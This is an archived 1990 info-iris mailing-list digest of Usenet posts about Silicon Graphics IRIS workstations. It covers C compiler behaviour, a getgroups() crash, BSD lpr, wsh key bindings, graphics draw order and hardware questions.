"makeobj()" to define the cube and "polf()" to >draw each face. It looks correct from one side, but when you look >at it from the opposite side, the computer still draws the faces >in the same order of overlap, so it does not look right. Does this >have something to do with zbuffering? I'm using a 3020, by the >way. Any help would be appreciated. The polygons are drawn in the order they are specified in "makeobj". Thus, you may be viewing the cube from such an angle that the first "polf" in makeobj corresponds to the face furthest from the viewing point. What you need to do is sort the cube faces so that the one closest to you is drawn last, and the one furthest from you is drawn first. This way, the cube will appear normal from all viewing perspectives.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21577; 16 Apr 90 15:09 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad21175; 16 Apr 90 14:58 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21083; 16 Apr 90 14:35 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa08265; 16 Apr 90 10:31 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA22041; Mon, 16 Apr 90 07:25:38 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 14:16:54 GMT From: Sam Fulcomer Organization: Brown University Department of Computer Science Subject: Re: Remote printing Message-Id: <36484@brunix.UUCP> References: <8448@tank.uchicago.edu>, <6348@odin.corp.sgi.com>, <56747@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <56747@sgi.sgi.com> daveh@xtenk.sgi.com (David A Higgen) writes: >In article <6348@odin.corp.sgi.com>, jweldon@renegade.sgi.com (Jack P. Weldon) writes: >> I know that SGI will be implementing a BSD lpr (client-only) in a "future >> release". > >It's in 3.3, coming momentarily. I don't know what you meant by client-only, >the version in 3.3 is a complete port of the BSD 4.3-tahoe lpr. To avoid confusion let's understand here that "BSD 4.3-tahoe lpr" probably refers to the src directory "lpr", which contains all of the other goodies (lpd, lpc, lprm, lpq, etc.) as well as lpr. jweldon is probably confusing with sgi plans what some of us users have done to the bsd stuff - namely hacking out all the tty calls from lpd. Even with the serial stuff hacked out the lpd is still eminently useful for color /dev/plp printing.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa22400; 16 Apr 90 15:49 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa22028; 16 Apr 90 15:38 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21603; 16 Apr 90 15:10 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa15283; 16 Apr 90 14:01 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA06648; Mon, 16 Apr 90 11:02:46 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 17:35:16 GMT From: Andreas Kasenides Subject: Molecular Modeling Message-Id: <540@gazette.bcm.tmc.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL We are getting ready to buy an Iris (which one is yet not determined) that will be used to do molecular modeling. Can, please, somebody with experience in this area comment generally on the subject and in particular the use of the SG machines in this area of research ? I would like to get some response on: 1) What kind of power is needed with this kind of operation. Any suggestions on which IRISES' will perform adequately? 2) How much memory/hard disk is required. We are going to (probably) use the Polygen software (Charm+Quantum). Any comments on these? Owr main interest in modeling is proteins. Please keep in mind that I have never operated an IRIS before. ANdreas andreask@bcm.tmc.edu Thank you.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab23689; 16 Apr 90 17:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23368; 16 Apr 90 17:10 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa23303; 16 Apr 90 16:44 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20146; 16 Apr 90 15:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA12691; Mon, 16 Apr 90 12:35:00 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 19:26:55 GMT From: "David R. Blythe" Organization: EECG, University of Toronto Subject: C Compiler Bug(?) Message-Id: <1990Apr16.152655.876@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I believe the following program demonstrates a bug in the C compiler (release 3.2 of IRIX). main() { double x; char c; c = 10; x = (double)(c - 20); printf("x = %f\n", x); } I was under the impression that the (unsigned) char should be converted to an int in the process of evaluating c - 20. Rather, c gets converted to an unsigned int, resulting in x getting the value 4294967286.000000 rather than -10.000000. I haven't filed this with sgi, but I assume that after an article or two supporting or refuting this appears they will pick it up. Apologies if this has been discovered/covered before. drb@bessel.clsc.utoronto.ca   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24186; 16 Apr 90 18:02 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab24035; 16 Apr 90 17:52 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24003; 16 Apr 90 17:41 EDT Received: from [128.32.133.1] by SMOKE.BRL.MIL id aa21815; 16 Apr 90 16:49 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA15404; Mon, 16 Apr 90 13:13:59 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 20:09:50 GMT From: "David R. Blythe" Organization: EECG, University of Toronto Subject: getgroups() bug Message-Id: <1990Apr16.160950.1318@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL The following program tries to make use of what I am assuming is a BSD/SMI compatible getgroups() function in the -lbsd library. I didn't notice any documentation for it (e.g. getgroups(3B)) but then I wasn't exhaustive in my search. Anyway, the following program gets a bus error (or segmentation fault depending on the machine your on) inside the getgroups() subroutine call on an IRIX 3.2 system (and we don't run yellow pages). int groups[10]; main() { int n; n = getgroups(10, groups); printf("n = %d\n", n); } I don't have the desire at the moment to become proficient at disassembling mips assembly code so I have left tracking down the bug as an exercise for the reader (note that the problem could be a misinterpretation of the purpose/use of getgroups() in the bsd library). I have also included an implementation of what I think the getgroups() routine should do. #include getgroups(n, p) int *p; { if (n <= 0) { errno = EINVAL; return(-1); } *p = getgid(); return 1; } drb@bessel.clsc.utoronto.ca   Received: from vmb.brl.mil by VMB.BRL.MIL id ab24448; 16 Apr 90 18:33 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab24186; 16 Apr 90 18:13 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24135; 16 Apr 90 17:56 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa20972; 16 Apr 90 16:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA15232; Mon, 16 Apr 90 13:11:14 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 19:02:44 GMT From: Kipp Hickman Organization: Silicon Graphics, Entry Systems Division Subject: Re: wsh question Message-Id: <6400@odin.corp.sgi.com> References: <11968@nlm-mcs.arpa>, <7508@ubc-cs.UUCP>, <5635@amelia.nas.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL 1. page-up/page-down with -r0 - thanks for the *bug* report. It should have avoid the default bindings for those keys in that case. In the mean time, you can use bindkey (or the sequence that it sends) to revert those keys to their normal settings: bindkey -r page-up -r page-down 2. Can't help you here. The current keyboard binding capabilites *are* going to be replaced with a more capable facility. I can't say when. kipp hickman silicon graphics inc.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa24604; 16 Apr 90 18:43 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa24448; 16 Apr 90 18:32 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa24219; 16 Apr 90 18:04 EDT Received: from REMOTE.DCCS.UPENN.EDU by SMOKE.BRL.MIL id aa22463; 16 Apr 90 17:49 EDT Return-Path: Received: from A.CHEM.UPENN.EDU by remote.dccs.upenn.edu id AA12321; Mon, 16 Apr 90 13:26:43 -0400 Message-Id: <9004161726.AA12321@remote.dccs.upenn.edu> Date: Mon, 16 Apr 90 13:27 EST From: "YATES, JOHN H." Subject: System V and disk quotas To: info-iris@BRL.MIL X-Vms-To: INFIRIS,YATES How can disk quotas be enforced as robustly as under Berkeley unix? Thanks, John yates@a.chem.upenn.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25474; 16 Apr 90 21:26 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa25365; 16 Apr 90 21:15 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25334; 16 Apr 90 21:04 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24071; 16 Apr 90 20:37 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA28520; Mon, 16 Apr 90 16:40:59 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 23:23:41 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: C Compiler Bug(?) Message-Id: <56994@sgi.sgi.com> References: <1990Apr16.152655.876@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr16.152655.876@jarvis.csri.toronto.edu> drb@eecg.toronto.edu (David R. Blythe) writes: [stuff deleted] >I was under the impression that the (unsigned) char should be converted to an ^^^^^^^^^^ >int in the process of evaluating c - 20. Rather, c gets converted to an >unsigned int, resulting in x getting the value 4294967286.000000 rather than >-10.000000. This is a confusion about ANSI vs K&R C. Our C compiler uses unsignedness preserving rules. It is not ANSI C. In spite of the fact it handles some ANSI C features. An ANSI-fied version of our C would do what you expect. [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ] [``What can go wrong?'' --Calvin and Hobbes]   Received: from vmb.brl.mil by VMB.BRL.MIL id ab25474; 16 Apr 90 21:26 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab25365; 16 Apr 90 21:15 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab25334; 16 Apr 90 21:04 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24073; 16 Apr 90 20:37 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA28541; Mon, 16 Apr 90 16:41:14 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 23:27:39 GMT From: Brendan Eich Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: getgroups() bug Message-Id: <56995@sgi.sgi.com> References: <1990Apr16.160950.1318@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr16.160950.1318@jarvis.csri.toronto.edu>, drb@eecg.toronto.edu (David R. Blythe) writes: > The following program tries to make use of what I am assuming is a BSD/SMI > compatible getgroups() function in the -lbsd library. /usr/lib/libbsd.a provides limited BSD compatibility, not Sun (SMI) except to the extent that SunOS shows its BSD heritage (less and less these days). Unfortunately, the getgroups provided up till release 3.2 in libbsd was not documented. It was, I believe, based on 4.2BSD, not 4.3: int getgroups(int *ngroups, int *groups); The first argument should be an int pointer. It's easy to see how 4.3-based code such as your example will fail (it should always fail with a bus error, as 10 is not a natural int address): > int groups[10]; > > main() { > int n; > n = getgroups(10, groups); > printf("n = %d\n", n); > } In the next release, a 4.3BSD (and SMI) getgroups(3B) will be provided in libbsd. It would have moved to libc, but the (different) POSIX getgroups prevented that, although in the next release all libbsd entry points also inhabit libc, with "BSD" name prefixes. Brenda Eich Silicon Graphics, Inc. brendan@sgi.com   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25610; 16 Apr 90 21:46 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac25474; 16 Apr 90 21:36 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25397; 16 Apr 90 21:18 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24201; 16 Apr 90 21:11 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA28541; Mon, 16 Apr 90 16:41:14 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 23:27:39 GMT From: Brendan Eich Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: getgroups() bug Message-Id: <56995@sgi.sgi.com> References: <1990Apr16.160950.1318@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr16.160950.1318@jarvis.csri.toronto.edu>, drb@eecg.toronto.edu (David R. Blythe) writes: > The following program tries to make use of what I am assuming is a BSD/SMI > compatible getgroups() function in the -lbsd library. /usr/lib/libbsd.a provides limited BSD compatibility, not Sun (SMI) except to the extent that SunOS shows its BSD heritage (less and less these days). Unfortunately, the getgroups provided up till release 3.2 in libbsd was not documented. It was, I believe, based on 4.2BSD, not 4.3: int getgroups(int *ngroups, int *groups); The first argument should be an int pointer. It's easy to see how 4.3-based code such as your example will fail (it should always fail with a bus error, as 10 is not a natural int address): > int groups[10]; > > main() { > int n; > n = getgroups(10, groups); > printf("n = %d\n", n); > } In the next release, a 4.3BSD (and SMI) getgroups(3B) will be provided in libbsd. It would have moved to libc, but the (different) POSIX getgroups prevented that, although in the next release all libbsd entry points also inhabit libc, with "BSD" name prefixes. Brenda Eich Silicon Graphics, Inc. brendan@sgi.com   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25747; 16 Apr 90 22:08 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab25610; 16 Apr 90 21:57 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25608; 16 Apr 90 21:46 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24233; 16 Apr 90 21:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA04101; Mon, 16 Apr 90 18:06:45 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 01:01:58 GMT From: Steve Lamont Organization: Foo Bar Brewers Cooperative Subject: Re: C Compiler Bug(?) Message-Id: <1952@speedy.mcnc.org> References: <1990Apr16.152655.876@jarvis.csri.toronto.edu>, <56994@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <56994@sgi.sgi.com> davea@quasar.UUCP (David B. Anderson) writes: >An ANSI-fied version of our C would do what you expect. So *when* do we get one??? spl (the p stands for puh-leeze???) -- Steve Lamont, sciViGuy (919) 248-1120 EMail: spl@ncsc.org NCSC (The other one), Box 12732, Research Triangle Park, NC 27709 Don't send in no bums. I want deals. -John Steinbeck, _The Grapes of Wrath_   Received: from vmb.brl.mil by VMB.BRL.MIL id aa25794; 16 Apr 90 22:23 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab25747; 16 Apr 90 22:13 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa25686; 16 Apr 90 21:59 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24385; 16 Apr 90 21:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA06239; Mon, 16 Apr 90 18:39:48 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 01:25:19 GMT From: Brendan Eich Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: getgroups() bug Message-Id: <57017@sgi.sgi.com> References: <1990Apr16.160950.1318@jarvis.csri.toronto.edu>, <56995@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Here's a list of subroutines in the next release's libbsd: chown BSD allows -1 to mean "don't-change" fchown dup2 Minor difference in often-ignored return value getgroups These differ between POSIX (libc) and BSD setgroups initgroups getpgrp These differ between System V (libc) and BSD setpgrp All other BSD compatibility (readdir &c, gethostent and resolver, dbm, signals, generic) is in libc, just like on a BSD-based system. > Brenda Eich > Silicon Graphics, Inc. > brendan@sgi.com My 'n' key is wearing out, probably from too much vnews. I remain, Brendan   Received: from vmb.brl.mil by VMB.BRL.MIL id ab25794; 16 Apr 90 22:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ac25747; 16 Apr 90 22:13 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab25686; 16 Apr 90 21:59 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24395; 16 Apr 90 21:47 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA06222; Mon, 16 Apr 90 18:39:35 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 23:12:24 GMT From: Bean Anderson Organization: Silicon Graphics Inc. Subject: Re: . in $path Message-Id: <6425@odin.corp.sgi.com> References: <10704@alice.UUCP>, <56842@sgi.sgi.com>, <6423@odin.corp.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <6423@odin.corp.sgi.com>, schuman@orange.sgi.com (Aaron Schuman) writes: > Vernon> A vendor whose name I've forgotten, > Vernon> offered a cash reward or something > Vernon> on a trade show floor a few years ago > Vernon> to anyone who could break into their > Vernon> super-duper secure system, and then > Vernon> refused to pay when someone > Vernon> successfully used this technique. > > The vendor was Gould, the product was the > first Un*x system evaluated at the C2 class > by the National Computer Security Center, > the prize was a 19" Zenith color television, > and the verdict was that the winner cheated. > > Heaven help you if a computer criminal on > your network refuses to play by the rules. > What? The winner cheated? Hmm... Of course hackers breaking into other machines always are supposed to follow the rules. Bean   Received: from vmb.brl.mil by VMB.BRL.MIL id ac25794; 16 Apr 90 22:24 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ad25747; 16 Apr 90 22:13 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ac25686; 16 Apr 90 21:59 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa24406; 16 Apr 90 21:49 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA05095; Mon, 16 Apr 90 18:21:58 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 23:07:29 GMT From: Aaron Schuman Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: . in $path Message-Id: <6423@odin.corp.sgi.com> References: <1630@dftsrv.gsfc.nasa.gov>, <10704@alice.UUCP>, <56842@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Vernon> A vendor whose name I've forgotten, Vernon> offered a cash reward or something Vernon> on a trade show floor a few years ago Vernon> to anyone who could break into their Vernon> super-duper secure system, and then Vernon> refused to pay when someone Vernon> successfully used this technique. The vendor was Gould, the product was the first Un*x system evaluated at the C2 class by the National Computer Security Center, the prize was a 19" Zenith color television, and the verdict was that the winner cheated. Heaven help you if a computer criminal on your network refuses to play by the rules.   Received: from vmb.brl.mil by VMB.BRL.MIL id ab06701; 17 Apr 90 12:11 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa06437; 17 Apr 90 12:00 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06414; 17 Apr 90 11:54 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa07642; 17 Apr 90 11:37 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA21758; Tue, 17 Apr 90 08:12:45 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 16 Apr 90 22:53:59 GMT From: "Rene Churchill; x266" Organization: Cadence Design Systems, Inc. Subject: Iris to Video Message-Id: <1990Apr16.225359.29011@cadence.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Hello, I recently volenteered to provide "offsite storage" for an unused Iris 2400 Turbo. Aren't I nice? :-) Anyhow, I'd like to try doing some basic animation on it and record the results. Does anybody out there in netland know what I would need to do this? I assume there is some sort of video board to install in it that will convert the RGB signal that goes to the monitor to a signal I can plug into the back of my VCR. Does anybody know where to find such a board for this old machine, and possibly what it would cost me to find one on the used equipment market? I'm on a cheap budget here folks, I can't afford the latest and greatest in technology and beside, it must fit into an old machine. Many thanks Rene   Received: from vmb.brl.mil by VMB.BRL.MIL id aa06701; 17 Apr 90 12:11 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa05718; 17 Apr 90 11:34 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa05403; 17 Apr 90 11:20 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa06302; 17 Apr 90 11:03 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA20980; Tue, 17 Apr 90 08:01:57 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 13:53:35 GMT From: "Loren (Buck" MMDF-Warning: Parse error in original version of preceding line at BRL.MIL Organization: Computer Sciences Corporation @ NASA Goddard Space Flight Center Subject: ANSI C (Was: C Compiler Bug(?)) Message-Id: <1684@dftsrv.gsfc.nasa.gov> References: <56994@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <56994@sgi.sgi.com> davea@quasar.UUCP (David B. Anderson) writes: >This is a confusion about ANSI vs K&R C. Our C compiler uses unsignedness >preserving rules. It is not ANSI C. In spite of the fact it handles some >ANSI C features. > >An ANSI-fied version of our C would do what you expect. OK, so your C compiler is only partialy "ANSI-fied", when will it be a standard ANSI C compiler? Also when will lint and/or cflow be available that will handle prototypes? B Cing U Buck Loren "Buck" Buchanan | internet: buck@drax.gsfc.nasa.gov | standard disclaimer CSC, 1100 West St. | uucp: ...!ames!dftsrv!drax!buck | "By the horns of a Laurel, MD 20707 | phonenet: (301) 497-2531 or 9898 | sky demon..."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa07600; 17 Apr 90 13:13 EDT Received: by VMB.BRL.MIL id aa07445; 17 Apr 90 13:07 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07251; 17 Apr 90 12:52 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa06913; 17 Apr 90 12:33 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa08863; 17 Apr 90 12:18 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA25754; Tue, 17 Apr 90 09:11:54 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 13:45:28 GMT From: "C. Harald Koch" Organization: Alias Research Inc., Toronto ON Canada Subject: Re: perl 3.0.18 for DECstation 3100? Message-Id: <1990Apr17.134528.9328@alias.uucp> References: <1689@tuegate.tue.nl>, , <1690@tuegate.tue.nl> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1690@tuegate.tue.nl> rcpt@tuegate.tue.nl (Piet Tutelaers) writes: > Perhaps I can mention >here too that to do optimization on DEC-MIPS machines one needs to increase >the -Olimit, 3000 was a good value for me. To summarize, the value for >CFLAGS on DEC-MIPS should be: > CFLAGS = -DLANGUAGE_C -O -Olimit 3000 I beleive that SGI uses the same MIPS-originated C compiler. I have noticed that the optimizer takes very non-linear time and memory wrt the Olimit value. Compiling eval.c on an unloaded SGI 4D/25 (MIPS R3000 @ 20Mhz) yields time values of: 67.5u 27.1s 1:34.75 100% When compiling with -Olimit 3000, It runs and runs and runs... I killed the compiler after about 45 minutes. After about 5 minutes the machine gets incredibly sluggish. The first time this happened I went exploring to see what was wrong; the optimizer was attempting to use 30Meg of memory on a 16Meg machine, and causing immense amounts of paging activity. This may be a bug in SGI's version of the compiler. I strongly recommend that "-Olimit 3000" *not* be the default, and I advise that it shouldn't be used except on machines with lots of excess memory... -- -- C. Harald Koch Alias Research, Inc., Toronto ON Canada chk%alias@csri.utoronto.ca chk@gpu.utcs.toronto.edu chk@chk.mef.org If awk is the Swiss Army knife of UNIX, then Perl is the Swiss Army chainsaw! -Author Unknown; related by (Dave Platt)   Received: from vmb.brl.mil by VMB.BRL.MIL id aa09913; 17 Apr 90 15:04 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09624; 17 Apr 90 14:53 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09614; 17 Apr 90 14:47 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa13347; 17 Apr 90 14:10 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA03140; Tue, 17 Apr 90 11:00:23 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 16:37:28 GMT From: Ramani Pichumani Organization: /users2/ramani/.organization Subject: Compiler bug? Message-Id: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I am experiencing a compiler error when compiling following line from the Motif source distribution (file is clients/uil/UilSymArTa.h): externaldef unsigned char allowed_argument_table [] [_TABLE_ENTRY_SIZE_] = { /* unused */ { 0 }, /* XmNaccelerator */ { 0, sym_m_XmDrawnButton_widget | 0, 0, sym_m_XmLabel_widget | sym_m_XmLabel_gadget | ... Compiler complains that: cc -c -O -I. -I.. -I/usr/include/bsd -I../../. -I../.././lib -I../.././lib/Xt -DSTRINGS_ALIGNED UilSymArTa.h ccom: Error: ./UilSymArTa.h, line 16: illegal initialization 0, 0, ( (1 << (((((unsigned int) (15)) & 0x3) << 1) + 0))) | ( (1 << (((((unsigned int) (15)) & 0x3) << 1) + 1))) | -------^ Unless I'm missing something, I don't see anything wrong with this construct. Ramani Pichumani Tel: (415) 723-2902 or 723-2437 Department of Computer Science Fax: (415) 725-7411 Margaret Jacks Hall, Room 308 email: ramani@patience.stanford.edu Stanford, CA 94305 USA uunet!patience.stanford.edu!ramani ------- -- Ramani Pichumani Tel: (415) 723-2902 or 723-2437 Department of Computer Science Fax: (415) 725-7411 Margaret Jacks Hall, Room 308 email: ramani@patience.stanford.edu Stanford, CA 94305 USA uunet!patience.stanford.edu!ramani   Received: from vmb.brl.mil by VMB.BRL.MIL id aa11855; 17 Apr 90 17:03 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa11537; 17 Apr 90 16:42 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa11471; 17 Apr 90 16:24 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa15811; 17 Apr 90 15:18 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA07706; Tue, 17 Apr 90 12:08:48 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 15:45:18 GMT From: "David B. Anderson" Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: ANSI C (Was: C Compiler Bug(?)) Message-Id: <57060@sgi.sgi.com> References: <56994@sgi.sgi.com>, <1684@dftsrv.gsfc.nasa.gov> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1684@dftsrv.gsfc.nasa.gov> buck@drax.gsfc.nasa.gov (Loren (Buck) Buchanan) writes: >In article <56994@sgi.sgi.com> davea@quasar.UUCP (David B. Anderson) writes: [stuff deleted] >OK, so your C compiler is only partialy "ANSI-fied", when will it be >a standard ANSI C compiler? Also when will lint and/or cflow be >available that will handle prototypes? I'll not make any promises about specific dates for ANSI C. We will have it available (we're committed to that). In the release after 3.2 (called 3.3?) lint, cc, cxref, cflow, cb, && ctags understand prototypes, const, void, void *, and signed. Regards, [ David B. Anderson Silicon Graphics (415)335-1548 davea@sgi.com ] [``What can go wrong?'' --Calvin and Hobbes]   Received: from vmb.brl.mil by VMB.BRL.MIL id aa11982; 17 Apr 90 17:14 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab11537; 17 Apr 90 16:42 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab11471; 17 Apr 90 16:24 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa15846; 17 Apr 90 15:20 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA07834; Tue, 17 Apr 90 12:10:24 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 17 Apr 90 16:12:12 GMT From: Phil Ronzone Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: C Compiler Bug(?) Message-Id: <6445@odin.corp.sgi.com> References: <1990Apr16.152655.876@jarvis.csri.toronto.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <1990Apr16.152655.876@jarvis.csri.toronto.edu> drb@eecg.toronto.edu (David R. Blythe) 